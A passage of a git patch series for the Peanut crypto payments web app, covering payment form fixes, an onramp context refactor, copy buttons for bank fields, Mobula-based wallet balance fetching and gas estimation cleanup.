'@/components/Global/ScreenOrientationLocker' import { TranslationSafeWrapper } from '@/components/Global/TranslationSafeWrapper' import { PeanutProvider } from '@/config' import { ContextProvider } from '@/context' @@ -61,6 +62,7 @@ export default function RootLayout({ children }: { children: React.ReactNode }) + diff --git a/src/components/Global/ScreenOrientationLocker.tsx b/src/components/Global/ScreenOrientationLocker.tsx new file mode 100644 index 000000000..e200813fa --- /dev/null +++ b/src/components/Global/ScreenOrientationLocker.tsx @@ -0,0 +1,39 @@ +'use client' + +import { useEffect } from 'react' +import { captureException } from '@sentry/nextjs' + +export function ScreenOrientationLocker() { + useEffect(() => { + const lockOrientation = async () => { + if (screen.orientation && (screen.orientation as any).lock) { + try { + await (screen.orientation as any).lock('portrait-primary') + } catch (error) { + console.error('Failed to lock screen orientation:', error) + captureException(error) + } + } + } + + lockOrientation() + + const handleOrientationChange = () => { + // if the orientation is no longer portrait, try to lock it back. + if (screen.orientation && !screen.orientation.type.startsWith('portrait')) { + lockOrientation() + } + } + + // some browsers might not support addEventListener on screen.orientation + if (screen.orientation && screen.orientation.addEventListener) { + screen.orientation.addEventListener('change', handleOrientationChange) + + return () => { + screen.orientation.removeEventListener('change', handleOrientationChange) + } + } + }, []) + + return null +} From 71e47e713914e79fae3b85a78236fc97e5c000f1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= <70615692+jjramirezn@users.noreply.github.com> Date: Sat, 5 Jul 2025 14:33:12 -0300 Subject: [PATCH 25/55] fix: update payment form for crosschain add money (#954) --- .../AddMoney/components/AddMoneyBankDetails.tsx | 2 +- .../Global/PeanutActionDetailsCard/index.tsx | 5 +++-- .../Payment/Views/Confirm.payment.view.tsx | 13 +++++++------ 3 files changed, 11 insertions(+), 9 deletions(-) diff --git a/src/components/AddMoney/components/AddMoneyBankDetails.tsx b/src/components/AddMoney/components/AddMoneyBankDetails.tsx index 2b5cf26d2..2b68a8530 100644 --- a/src/components/AddMoney/components/AddMoneyBankDetails.tsx +++ b/src/components/AddMoney/components/AddMoneyBankDetails.tsx @@ -139,7 +139,7 @@ Please use these details to complete your bank transfer.`
{ if (viewType === 'SUCCESS') return 'check' - if (transactionType === 'WITHDRAW_BANK_ACCOUNT') return 'bank' + if (transactionType === 'WITHDRAW_BANK_ACCOUNT' || transactionType === 'ADD_MONEY_BANK_ACCOUNT') return 'bank' if (recipientType !== 'USERNAME' || transactionType === 'ADD_MONEY' || transactionType === 'WITHDRAW') return 'wallet-outline' return undefined @@ -131,7 +132,7 @@ export default function PeanutActionDetailsCard({ } const isWithdrawBankAccount = transactionType === 'WITHDRAW_BANK_ACCOUNT' && recipientType === 'BANK_ACCOUNT' - const isAddBankAccount = transactionType === 'ADD_MONEY' + const isAddBankAccount = transactionType === 'ADD_MONEY_BANK_ACCOUNT' const withdrawBankIcon = () => { if (isWithdrawBankAccount || isAddBankAccount) diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index 0078be96b..ba000a440 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -150,8 +150,8 @@ export default function ConfirmPaymentView({ const handleRouteRefresh = useCallback(async () => { if (chargeDetails && selectedTokenData && selectedChainID) { - const fromTokenAddress = isPeanutWallet ? PEANUT_WALLET_TOKEN : selectedTokenData.address - const fromChainId = isPeanutWallet ? PEANUT_WALLET_CHAIN.id.toString() : selectedChainID + const fromTokenAddress = !isAddMoneyFlow && isPeanutWallet ? PEANUT_WALLET_TOKEN : selectedTokenData.address + const fromChainId = !isAddMoneyFlow && isPeanutWallet ? PEANUT_WALLET_CHAIN.id.toString() : selectedChainID const usdAmount = isDirectUsdPayment && chargeDetails.currencyCode.toLowerCase() === 'usd' ? chargeDetails.currencyAmount @@ -165,6 +165,7 @@ export default function ConfirmPaymentView({ prepareTransactionDetails, isDirectUsdPayment, isPeanutWallet, + isAddMoneyFlow, ]) useEffect(() => { @@ -326,19 +327,19 @@ export default function ConfirmPaymentView({ const isCrossChainPayment = useMemo((): boolean => { if (!chargeDetails) return false - if (isPeanutWallet) { + if (!isAddMoneyFlow && isPeanutWallet) { return ( !areEvmAddressesEqual(chargeDetails.tokenAddress, PEANUT_WALLET_TOKEN) || chargeDetails.chainId !== PEANUT_WALLET_CHAIN.id.toString() ) } else if (selectedTokenData && selectedChainID) { return ( - areEvmAddressesEqual(chargeDetails.tokenAddress, selectedTokenData.address) && + !areEvmAddressesEqual(chargeDetails.tokenAddress, selectedTokenData.address) || chargeDetails.chainId !== selectedChainID ) } return false - }, [chargeDetails, selectedTokenData, selectedChainID]) + }, [chargeDetails, selectedTokenData, selectedChainID, isPeanutWallet, isAddMoneyFlow]) const routeTypeError = useMemo((): string | null => { if (!isCrossChainPayment || !xChainRoute || !isPeanutWallet) return null @@ -423,7 +424,7 @@ export default function ConfirmPaymentView({ } /> )} - {isCrossChainPayment !== isPeanutWallet && ( + {isCrossChainPayment !== (isPeanutWallet && !isAddMoneyFlow) && ( Date: Mon, 7 Jul 2025 08:45:22 -0300 Subject: [PATCH 26/55] [TASK-12682] fix: show token selector for guest flow (#955) * fix: show token selector for guest flow * docs: add comment to explain url request flow --- src/components/Payment/PaymentForm/index.tsx | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/src/components/Payment/PaymentForm/index.tsx b/src/components/Payment/PaymentForm/index.tsx index 4ea25192e..0f0bda214 100644 --- a/src/components/Payment/PaymentForm/index.tsx +++ b/src/components/Payment/PaymentForm/index.tsx @@ -635,7 +635,13 @@ export const PaymentForm = ({ currency={currency} /> - {!chain && isConnected && !isAddMoneyFlow && ( + {/* + Url request flow (peanut.me/
) + If we are paying from peanut wallet we only need to + select a token if it's not included in the url + From other wallets we always need to select a token + */} + {!(chain && isPeanutWallet) && isConnected && !isAddMoneyFlow && (
{!isPeanutWalletUSDC && !selectedTokenAddress && !selectedChainID && (
Select token and chain to pay with
From f3cbec0afbde2dae3d754cd6a5f4b519e14a6e5e Mon Sep 17 00:00:00 2001 From: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> Date: Mon, 7 Jul 2025 18:21:40 -0300 Subject: [PATCH 27/55] implemented Context instead of sessionStorage in onrampData to avoid discrepancies with the Offramp logic (#953) --- .../add-money/[country]/bank/page.tsx | 4 +-- .../components/AddMoneyBankDetails.tsx | 33 ++----------------- src/context/OnrampFlowContext.tsx | 25 +++++++++++++- 3 files changed, 28 insertions(+), 34 deletions(-) diff --git a/src/app/(mobile-ui)/add-money/[country]/bank/page.tsx b/src/app/(mobile-ui)/add-money/[country]/bank/page.tsx index 8697156a5..f7d191152 100644 --- a/src/app/(mobile-ui)/add-money/[country]/bank/page.tsx +++ b/src/app/(mobile-ui)/add-money/[country]/bank/page.tsx @@ -38,7 +38,7 @@ export default function OnrampBankPage() { const [isKycModalOpen, setIsKycModalOpen] = useState(false) const [liveKycStatus, setLiveKycStatus] = useState(undefined) - const { amountToOnramp: amountFromContext, setAmountToOnramp, setError, error } = useOnrampFlow() + const { amountToOnramp: amountFromContext, setAmountToOnramp, setError, error, setOnrampData } = useOnrampFlow() const formRef = useRef<{ handleSubmit: () => void }>(null) const [isUpdatingUser, setIsUpdatingUser] = useState(false) const [userUpdateError, setUserUpdateError] = useState(null) @@ -186,7 +186,7 @@ export default function OnrampBankPage() { amount: cleanedAmount, country: selectedCountry, }) - sessionStorage.setItem('onrampData', JSON.stringify(onrampDataResponse)) + setOnrampData(onrampDataResponse) if (onrampDataResponse.transferId) { setStep('showDetails') diff --git a/src/components/AddMoney/components/AddMoneyBankDetails.tsx b/src/components/AddMoney/components/AddMoneyBankDetails.tsx index 2b68a8530..620104d31 100644 --- a/src/components/AddMoney/components/AddMoneyBankDetails.tsx +++ b/src/components/AddMoney/components/AddMoneyBankDetails.tsx @@ -8,36 +8,18 @@ import { PaymentInfoRow } from '@/components/Payment/PaymentInfoRow' import { PEANUT_WALLET_TOKEN_SYMBOL } from '@/constants' import { useOnrampFlow } from '@/context/OnrampFlowContext' import { useRouter, useParams } from 'next/navigation' -import { useEffect, useState, useMemo } from 'react' +import { useEffect, useMemo } from 'react' import { countryCodeMap, countryData } from '@/components/AddMoney/consts' import { formatCurrencyAmount } from '@/utils/currency' import { formatBankAccountDisplay } from '@/utils/format.utils' import Icon from '@/components/Global/Icon' import { getCurrencySymbol, getOnrampCurrencyConfig } from '@/utils/bridge.utils' -export interface IOnrampData { - transferId?: string - depositInstructions?: { - amount?: string - currency?: string - depositMessage?: string - bankName?: string - bankAddress?: string - bankRoutingNumber?: string - bankAccountNumber?: string - bankBeneficiaryName?: string - bankBeneficiaryAddress?: string - iban?: string - bic?: string - } -} - export default function AddMoneyBankDetails() { - const { amountToOnramp } = useOnrampFlow() + const { amountToOnramp, onrampData, setOnrampData } = useOnrampFlow() const router = useRouter() const params = useParams() const currentCountryName = params.country as string - const [onrampData, setOnrampData] = useState(null) // Get country information from URL params const currentCountryDetails = useMemo(() => { @@ -72,17 +54,6 @@ export default function AddMoneyBankDetails() { router.replace('/add-money') return } - - // Load onramp data from sessionStorage - const storedData = sessionStorage.getItem('onrampData') - if (storedData) { - try { - const parsedData = JSON.parse(storedData) - setOnrampData(parsedData) - } catch (error) { - console.error('Error parsing onramp data:', error) - } - } }, [amountToOnramp, router]) const generateBankDetails = async () => { diff --git a/src/context/OnrampFlowContext.tsx b/src/context/OnrampFlowContext.tsx index 339da00de..a7703bb67 100644 --- a/src/context/OnrampFlowContext.tsx +++ b/src/context/OnrampFlowContext.tsx @@ -9,6 +9,23 @@ export interface InitialViewErrorState { errorMessage: string } +export interface IOnrampData { + transferId?: string + depositInstructions?: { + amount?: string + currency?: string + depositMessage?: string + bankName?: string + bankAddress?: string + bankRoutingNumber?: string + bankAccountNumber?: string + bankBeneficiaryName?: string + bankBeneficiaryAddress?: string + iban?: string + bic?: string + } +} + interface OnrampFlowContextType { amountToOnramp: string setAmountToOnramp: (amount: string) => void @@ -18,6 +35,8 @@ interface OnrampFlowContextType { setError: (error: InitialViewErrorState) => void fromBankSelected: boolean setFromBankSelected: (selected: boolean) => void + onrampData: IOnrampData | null + setOnrampData: (data: IOnrampData | null) => void resetOnrampFlow: () => void } @@ -31,6 +50,7 @@ export const OnrampFlowContextProvider: React.FC<{ children: ReactNode }> = ({ c errorMessage: '', }) const [fromBankSelected, setFromBankSelected] = useState(false) + const [onrampData, setOnrampData] = useState(null) const resetOnrampFlow = useCallback(() => { setAmountToOnramp('') @@ -40,6 +60,7 @@ export const OnrampFlowContextProvider: React.FC<{ children: ReactNode }> = ({ c errorMessage: '', }) setFromBankSelected(false) + setOnrampData(null) }, []) const value = useMemo( @@ -52,9 +73,11 @@ export const OnrampFlowContextProvider: React.FC<{ children: ReactNode }> = ({ c setError, fromBankSelected, setFromBankSelected, + onrampData, + setOnrampData, resetOnrampFlow, }), - [amountToOnramp, currentView, error, fromBankSelected, resetOnrampFlow] + [amountToOnramp, currentView, error, fromBankSelected, onrampData, resetOnrampFlow] ) return {children} From 63340f265eeec17d07535a4698819a43e0c421e8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= <70615692+jjramirezn@users.noreply.github.com> Date: Tue, 8 Jul 2025 09:13:32 -0300 Subject: [PATCH 28/55] refactor: fetch external wallet balances from mobula (#956) (#958) --- src/app/actions/tokens.ts | 107 +++++++++++++++++- .../fetch-wallet-balance/route.ts | 37 ------ .../Global/TokenSelector/TokenSelector.tsx | 3 +- src/utils/balance.utils.ts | 81 ------------- 4 files changed, 106 insertions(+), 122 deletions(-) delete mode 100644 src/app/api/walletconnect/fetch-wallet-balance/route.ts diff --git a/src/app/actions/tokens.ts b/src/app/actions/tokens.ts index f0d6ad166..0b7335cd4 100644 --- a/src/app/actions/tokens.ts +++ b/src/app/actions/tokens.ts @@ -2,10 +2,10 @@ import { unstable_cache } from 'next/cache' import { fetchWithSentry, isAddressZero, estimateIfIsStableCoinFromPrice } from '@/utils' import { type ITokenPriceData } from '@/interfaces' -import { parseAbi } from 'viem' +import { parseAbi, formatUnits } from 'viem' import { type ChainId, getPublicClient } from '@/app/actions/clients' -import { getTokenDetails, NATIVE_TOKEN_ADDRESS, isStableCoin } from '@/utils' -import { formatUnits } from 'viem' +import { getTokenDetails, isStableCoin, NATIVE_TOKEN_ADDRESS, areEvmAddressesEqual } from '@/utils' +import { IUserBalance } from '@/interfaces' import type { Address, Hex } from 'viem' type IMobulaMarketData = { @@ -51,6 +51,49 @@ type IMobulaMarketData = { } } +type IMobulaContractBalanceData = { + address: string //of the contract + balance: number + balanceRaw: string + chainId: string // this chainId is og the type evm: + decimals: number +} + +type IMobulaCrossChainBalanceData = { + balance: number + balanceRaw: string + chainId: string + address: string //of the token +} + +type IMobulaAsset = { + id: number + name: string + symbol: string + logo: string + decimals: string[] + contracts: string[] + blockchains: string[] +} + +type IMobulaAssetData = { + contracts_balances: IMobulaContractBalanceData[] + cross_chain_balances: Record // key is the same as in asset.blockchains price_change_24h: number + estimated_balance: number + price: number + token_balance: number + allocation: number + asset: IMobulaAsset + wallets: string[] +} + +type IMobulaPortfolioData = { + total_wallet_balance: number + wallets: string[] + assets: IMobulaAssetData[] + balances_length: number +} + const ERC20_DATA_ABI = parseAbi([ 'function symbol() view returns (string)', 'function name() view returns (string)', @@ -214,3 +257,61 @@ export async function estimateTransactionCostUsd( return 0.01 } } + +export const fetchWalletBalances = unstable_cache( + async (address: string): Promise<{ balances: IUserBalance[]; totalBalance: number }> => { + const mobulaResponse = await fetchWithSentry(`https://api.mobula.io/api/1/wallet/portfolio?wallet=${address}`, { + headers: { + 'Content-Type': 'application/json', + authorization: process.env.MOBULA_API_KEY!, + }, + }) + + if (!mobulaResponse.ok) throw new Error('Failed to fetch wallet balances') + + const json: { data: IMobulaPortfolioData } = await mobulaResponse.json() + const assets = json.data.assets + .filter((a: IMobulaAssetData) => !!a.price) + .filter((a: IMobulaAssetData) => !!a.token_balance) + const balances = [] + for (const asset of assets) { + const symbol = asset.asset.symbol + const price = isStableCoin(symbol) || estimateIfIsStableCoinFromPrice(asset.price) ? 1 : asset.price + /* + Mobula returns balances per asset, IE: USDC on arbitrum, mainnet + and optimism are all part of the same "asset", here we need to + divide it + */ + for (const chain of asset.asset.blockchains) { + const address = asset.cross_chain_balances[chain].address + const contractInfo = asset.contracts_balances.find((c) => areEvmAddressesEqual(c.address, address)) + const crossChainBalance = asset.cross_chain_balances[chain] + balances.push({ + chainId: crossChainBalance.chainId, + address, + name: asset.asset.name, + symbol, + decimals: contractInfo!.decimals, + price, + amount: crossChainBalance.balance, + currency: 'usd', + logoURI: asset.asset.logo, + value: (crossChainBalance.balance * price).toString(), + }) + } + } + const totalBalance = balances.reduce( + (acc: number, balance: IUserBalance) => acc + balance.amount * balance.price, + 0 + ) + return { + balances, + totalBalance, + } + }, + ['fetchWalletBalances'], + { + tags: ['fetchWalletBalances'], + revalidate: 5, // 5 seconds + } +) diff --git a/src/app/api/walletconnect/fetch-wallet-balance/route.ts b/src/app/api/walletconnect/fetch-wallet-balance/route.ts deleted file mode 100644 index 740234417..000000000 --- a/src/app/api/walletconnect/fetch-wallet-balance/route.ts +++ /dev/null @@ -1,37 +0,0 @@ -import type { NextRequest } from 'next/server' -import { fetchWithSentry } from '@/utils' - -export async function POST(request: NextRequest) { - try { - const body = await request.json() - const projectID = process.env.NEXT_PUBLIC_WC_PROJECT_ID ?? '' - - if (!projectID) throw new Error('API_KEY not found in env') - - const apiResponse = await fetchWithSentry( - `https://rpc.walletconnect.com/v1/account/${body.address}/balance?currency=usd&projectId=${projectID}`, - { - method: 'GET', - // mode: 'no-cors', // Enable this locally - headers: { - 'Content-Type': 'application/json', - 'x-sdk-version': '4.1.5', - }, - } - ) - - if (!apiResponse.ok) return new Response('Internal Server Error', { status: 500 }) - - const apiResponseJson = await apiResponse.text() - - return new Response(apiResponseJson, { - status: 200, - headers: { - 'Content-Type': 'application/json', - }, - }) - } catch (error) { - console.error('Error in fetching wallet balance:', error) - return new Response('Internal Server Error', { status: 500 }) - } -} diff --git a/src/components/Global/TokenSelector/TokenSelector.tsx b/src/components/Global/TokenSelector/TokenSelector.tsx index 064fd411a..76f719789 100644 --- a/src/components/Global/TokenSelector/TokenSelector.tsx +++ b/src/components/Global/TokenSelector/TokenSelector.tsx @@ -11,7 +11,7 @@ import { PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN } from '@/constants/zerodev.co import { tokenSelectorContext } from '@/context' import { useDynamicHeight } from '@/hooks/ui/useDynamicHeight' import { IToken, IUserBalance } from '@/interfaces' -import { areEvmAddressesEqual, fetchWalletBalances, formatTokenAmount, isNativeCurrency } from '@/utils' +import { areEvmAddressesEqual, formatTokenAmount, isNativeCurrency } from '@/utils' import { SQUID_ETH_ADDRESS } from '@/utils/token.utils' import { useAppKit, useAppKitAccount, useDisconnect } from '@reown/appkit/react' import EmptyState from '../EmptyStates/EmptyState' @@ -26,6 +26,7 @@ import { TOKEN_SELECTOR_POPULAR_NETWORK_IDS, TOKEN_SELECTOR_SUPPORTED_NETWORK_IDS, } from './TokenSelector.consts' +import { fetchWalletBalances } from '@/app/actions/tokens' interface SectionProps { title: string diff --git a/src/utils/balance.utils.ts b/src/utils/balance.utils.ts index 227e2953d..1b644c002 100644 --- a/src/utils/balance.utils.ts +++ b/src/utils/balance.utils.ts @@ -1,88 +1,7 @@ import { PEANUT_WALLET_TOKEN_DECIMALS } from '@/constants' import { ChainValue, IUserBalance } from '@/interfaces' -import { areEvmAddressesEqual, fetchWithSentry, isAddressZero } from '@/utils' import * as Sentry from '@sentry/nextjs' import { formatUnits } from 'viem' -import { NATIVE_TOKEN_ADDRESS } from './token.utils' - -export async function fetchWalletBalances( - address: string -): Promise<{ balances: IUserBalance[]; totalBalance: number }> { - try { - const apiResponse = await fetchWithSentry('/api/walletconnect/fetch-wallet-balance', { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - }, - body: JSON.stringify({ address }), - }) - - if (!apiResponse.ok) { - throw new Error('API request failed') - } - - const apiResponseJson = await apiResponse.json() - - const processedBalances = apiResponseJson.balances - .filter((balance: any) => balance.value > 0.009) - .map((item: any) => ({ - chainId: item?.chainId ? item.chainId.split(':')[1] : '1', - address: item?.address ? item.address.split(':')[2] : NATIVE_TOKEN_ADDRESS, - name: item.name, - symbol: item.symbol, - decimals: parseInt(item.quantity.decimals), - price: item.price, - amount: parseFloat(item.quantity.numeric), - currency: 'usd', - logoURI: item.iconUrl, - value: item.value.toString(), - })) - .map((balance: any) => - balance.chainId === '8508132' - ? { ...balance, chainId: '534352' } - : balance.chainId === '81032' - ? { ...balance, chainId: '81457' } - : balance.chainId === '59160' - ? { ...balance, chainId: '59144' } - : balance - ) - .sort((a: any, b: any) => { - const valueA = parseFloat(a.value) - const valueB = parseFloat(b.value) - - if (valueA === valueB) { - if (isAddressZero(a.address)) return -1 - if (isAddressZero(b.address)) return 1 - return b.amount - a.amount - } - return valueB - valueA - }) - - const totalBalance = processedBalances.reduce((acc: number, balance: any) => acc + Number(balance.value), 0) - - return { - balances: processedBalances, - totalBalance, - } - } catch (error) { - console.error('Error fetching wallet balances:', error) - if (error instanceof Error && error.message !== 'API request failed') { - Sentry.captureException(error) - } - return { balances: [], totalBalance: 0 } - } -} - -export function balanceByToken( - balances: IUserBalance[], - chainId: string, - tokenAddress: string -): IUserBalance | undefined { - if (!chainId || !tokenAddress) return undefined - return balances.find( - (balance) => balance.chainId === chainId && areEvmAddressesEqual(balance.address, tokenAddress) - ) -} export function calculateValuePerChain(balances: IUserBalance[]): ChainValue[] { let result: ChainValue[] = [] From 8e7e89ecdf6dc43ba14d04dbc25a473628a50c77 Mon Sep 17 00:00:00 2001 From: facundobozzi <72771544+FacuBozzi@users.noreply.github.com> Date: Tue, 8 Jul 2025 13:01:39 -0300 Subject: [PATCH 29/55] [TASK-12645] copy button for individual fields (#960) * copy button for individual fields * changed getOnrampCurrencyConfig (deprecated)to getCurrencyConfig + user now copies raw IBAN value --- .../components/AddMoneyBankDetails.tsx | 23 +++++++++++++++++-- src/components/Payment/PaymentInfoRow.tsx | 10 +++++++- 2 files changed, 30 insertions(+), 3 deletions(-) diff --git a/src/components/AddMoney/components/AddMoneyBankDetails.tsx b/src/components/AddMoney/components/AddMoneyBankDetails.tsx index 620104d31..d3e6dedc7 100644 --- a/src/components/AddMoney/components/AddMoneyBankDetails.tsx +++ b/src/components/AddMoney/components/AddMoneyBankDetails.tsx @@ -13,7 +13,7 @@ import { countryCodeMap, countryData } from '@/components/AddMoney/consts' import { formatCurrencyAmount } from '@/utils/currency' import { formatBankAccountDisplay } from '@/utils/format.utils' import Icon from '@/components/Global/Icon' -import { getCurrencySymbol, getOnrampCurrencyConfig } from '@/utils/bridge.utils' +import { getCurrencyConfig, getCurrencySymbol } from '@/utils/bridge.utils' export default function AddMoneyBankDetails() { const { amountToOnramp, onrampData, setOnrampData } = useOnrampFlow() @@ -46,7 +46,7 @@ export default function AddMoneyBankDetails() { return countryCode?.toLowerCase() || 'us' }, [currentCountryDetails]) - const onrampCurrency = getOnrampCurrencyConfig(currentCountryDetails?.id || 'US').currency + const onrampCurrency = getCurrencyConfig(currentCountryDetails?.id || 'US', 'onramp').currency useEffect(() => { // If no amount is set, redirect back to add money page @@ -124,11 +124,13 @@ Please use these details to complete your bank transfer.` {currentCountryDetails?.id !== 'MX' && ( )} {currentCountryDetails?.id !== 'MX' && ( @@ -141,6 +143,16 @@ Please use these details to complete your bank transfer.` : null) || 'N/A' } + allowCopy={ + !!( + onrampData?.depositInstructions?.bankAccountNumber || + onrampData?.depositInstructions?.iban + ) + } + copyValue={ + onrampData?.depositInstructions?.bankAccountNumber || + onrampData?.depositInstructions?.iban + } /> )} {currentCountryDetails?.id !== 'MX' && ( @@ -151,6 +163,12 @@ Please use these details to complete your bank transfer.` onrampData?.depositInstructions?.bic || 'N/A' } + allowCopy={ + !!( + onrampData?.depositInstructions?.bankRoutingNumber || + onrampData?.depositInstructions?.bic + ) + } /> )} diff --git a/src/components/Payment/PaymentInfoRow.tsx b/src/components/Payment/PaymentInfoRow.tsx index 525ff253d..ce671684e 100644 --- a/src/components/Payment/PaymentInfoRow.tsx +++ b/src/components/Payment/PaymentInfoRow.tsx @@ -2,6 +2,7 @@ import { useId, useState } from 'react' import { twMerge } from 'tailwind-merge' import { Icon } from '../Global/Icons/Icon' import Loading from '../Global/Loading' +import CopyToClipboard from '../Global/CopyToClipboard' export const PaymentInfoRow = ({ label, @@ -9,12 +10,16 @@ export const PaymentInfoRow = ({ moreInfoText, loading, hideBottomBorder, + allowCopy, + copyValue, }: { label: string | React.ReactNode value: number | string | React.ReactNode moreInfoText?: string loading?: boolean hideBottomBorder?: boolean + allowCopy?: boolean + copyValue?: string }) => { const [showMoreInfo, setShowMoreInfo] = useState(false) const tooltipId = useId() @@ -62,10 +67,13 @@ export const PaymentInfoRow = ({ {loading ? ( ) : ( -
+
{value}
+ {allowCopy && typeof value === 'string' && ( + + )}
)}
From b1b62477af86ca024c47ec09fba828157270bdae Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= <70615692+jjramirezn@users.noreply.github.com> Date: Tue, 8 Jul 2025 16:38:24 -0300 Subject: [PATCH 30/55] fix: gas estimation for external wallets (#961) We were re-rendering unnecesarily the prepare transaction, also now we catch error if any --- src/app/(mobile-ui)/withdraw/crypto/page.tsx | 28 +++--- src/app/actions/clients.ts | 85 +----------------- src/components/Create/useCreateLink.tsx | 89 +------------------ .../Payment/Views/Confirm.payment.view.tsx | 10 ++- src/hooks/usePaymentInitiator.ts | 83 +++++++---------- 5 files changed, 63 insertions(+), 232 deletions(-) diff --git a/src/app/(mobile-ui)/withdraw/crypto/page.tsx b/src/app/(mobile-ui)/withdraw/crypto/page.tsx index 8f780d4e7..ed0069214 100644 --- a/src/app/(mobile-ui)/withdraw/crypto/page.tsx +++ b/src/app/(mobile-ui)/withdraw/crypto/page.tsx @@ -88,12 +88,14 @@ export default function WithdrawCryptoPage() { if (currentView === 'CONFIRM' && activeChargeDetailsFromStore && withdrawData) { console.log('Preparing withdraw transaction details...') console.dir(activeChargeDetailsFromStore) - prepareTransactionDetails( - activeChargeDetailsFromStore, - PEANUT_WALLET_TOKEN, - PEANUT_WALLET_CHAIN.id.toString(), - amountToWithdraw - ) + prepareTransactionDetails({ + chargeDetails: activeChargeDetailsFromStore, + from: { + tokenAddress: PEANUT_WALLET_TOKEN, + chainId: PEANUT_WALLET_CHAIN.id.toString(), + }, + usdAmount: amountToWithdraw, + }) } }, [currentView, activeChargeDetailsFromStore, withdrawData, prepareTransactionDetails, amountToWithdraw]) @@ -226,12 +228,14 @@ export default function WithdrawCryptoPage() { if (!activeChargeDetailsFromStore) return console.log('Refreshing withdraw route due to expiry...') console.log('About to call prepareTransactionDetails with:', activeChargeDetailsFromStore) - await prepareTransactionDetails( - activeChargeDetailsFromStore, - PEANUT_WALLET_TOKEN, - PEANUT_WALLET_CHAIN.id.toString(), - amountToWithdraw - ) + await prepareTransactionDetails({ + chargeDetails: activeChargeDetailsFromStore, + from: { + tokenAddress: PEANUT_WALLET_TOKEN, + chainId: PEANUT_WALLET_CHAIN.id.toString(), + }, + usdAmount: amountToWithdraw, + }) }, [activeChargeDetailsFromStore, prepareTransactionDetails, amountToWithdraw]) const handleBackFromConfirm = useCallback(() => { diff --git a/src/app/actions/clients.ts b/src/app/actions/clients.ts index dc7229880..96fc66a5a 100644 --- a/src/app/actions/clients.ts +++ b/src/app/actions/clients.ts @@ -1,22 +1,13 @@ 'use server' -import { unstable_cache } from 'next/cache' -import type { PublicClient, Chain, Hash } from 'viem' -import { createPublicClient, http, extractChain, maxUint256, keccak256, encodeAbiParameters, numberToHex } from 'viem' +import type { PublicClient, Chain } from 'viem' +import { createPublicClient, http, extractChain } from 'viem' import * as chains from 'viem/chains' -import { jsonStringify } from '@/utils' import { PUBLIC_CLIENTS_BY_CHAIN, infuraRpcUrls } from '@/constants' const allChains = Object.values(chains) export type ChainId = (typeof allChains)[number]['id'] -export type FeeOptions = { - gas: bigint - maxFeePerGas: bigint - maxPriorityFeePerGas: bigint - error?: string | null -} - export const getPublicClient = async (chainId: ChainId): Promise => { let client: PublicClient | undefined = PUBLIC_CLIENTS_BY_CHAIN[chainId]?.client if (client) return client @@ -27,75 +18,3 @@ export const getPublicClient = async (chainId: ChainId): Promise = chain, }) } - -export type PreparedTx = { - account: Hash - from?: Hash - erc20Token?: Hash - data: Hash - to: Hash - value: string -} -export const getFeeOptions = unstable_cache( - async (chainId: ChainId, preparedTx: PreparedTx): Promise => { - try { - const client = await getPublicClient(chainId) - const fromAccount = preparedTx.from ?? preparedTx.account - const [feeEstimates, gas] = await Promise.all([ - client.estimateFeesPerGas(), - client.estimateGas({ - account: fromAccount, - data: preparedTx.data, - to: preparedTx.to, - value: BigInt(preparedTx.value), - // Simulate max allowance to avoid reverts while estimating fees - stateOverride: preparedTx.erc20Token - ? [ - { - address: preparedTx.erc20Token, - //Just put the allowance in all the possible slots (0-10) - // Decided agains using the slotSeek library because - // it's not widely used - stateDiff: Array.from(Array(11).keys()) - .map(BigInt) - .map((slotNumber) => ({ - slot: calculateAllowanceSlot(fromAccount, preparedTx.to, slotNumber), - value: numberToHex(maxUint256), - })), - }, - ] - : [], - }), - ]) - return jsonStringify({ - gas: (gas * 140n) / 100n, // Add 40% to estimated gas - maxFeePerGas: feeEstimates.maxFeePerGas, - maxPriorityFeePerGas: feeEstimates.maxPriorityFeePerGas, - error: null, - }) - } catch (error) { - console.error('Error estimating fees:', error) - return jsonStringify({ - gas: null, - maxFeePerGas: null, - maxPriorityFeePerGas: null, - error: (error as Error).message, - }) - } - }, - ['getFeeOptions'], - { - revalidate: 20, // revalidate every 20 seconds - tags: ['getFeeOptions'], - } -) - -// Helper function to calculate allowance slot -// see: https://github.com/d3or/slotseek/blob/master/src/approval.ts -// If we find that this function doesnt work for some tokens, we will have to -// use slotseek itself -function calculateAllowanceSlot(owner: Hash, spender: Hash, slotNumber: bigint) { - const slotHash = keccak256(encodeAbiParameters([{ type: 'address' }, { type: 'uint256' }], [owner, slotNumber])) - - return keccak256(encodeAbiParameters([{ type: 'address' }, { type: 'bytes32' }], [spender, slotHash])) -} diff --git a/src/components/Create/useCreateLink.tsx b/src/components/Create/useCreateLink.tsx index ff4c96ef1..0fde487e6 100644 --- a/src/components/Create/useCreateLink.tsx +++ b/src/components/Create/useCreateLink.tsx @@ -1,11 +1,8 @@ 'use client' import { getLinkFromTx } from '@/app/actions/claimLinks' -import { getFeeOptions } from '@/app/actions/clients' -import type { PreparedTx, ChainId, FeeOptions } from '@/app/actions/clients' -import { fetchTokenPrice } from '@/app/actions/tokens' import { PEANUT_API_URL, PEANUT_WALLET_CHAIN, PEANUT_WALLET_TOKEN, next_proxy_url } from '@/constants' import { loadingStateContext, tokenSelectorContext } from '@/context' -import { fetchWithSentry, isNativeCurrency, jsonParse, saveToLocalStorage } from '@/utils' +import { fetchWithSentry, isNativeCurrency, saveToLocalStorage } from '@/utils' import peanut, { generateKeysFromString, getContractAbi, @@ -16,22 +13,12 @@ import peanut, { interfaces as peanutInterfaces, } from '@squirrel-labs/peanut-sdk' import { useCallback, useContext } from 'react' -import type { Hash, Hex } from 'viem' -import { - bytesToNumber, - encodeFunctionData, - formatEther, - parseAbi, - parseEther, - parseEventLogs, - parseUnits, - toBytes, -} from 'viem' -import { useAccount, useSignTypedData } from 'wagmi' +import type { Hash } from 'viem' +import { 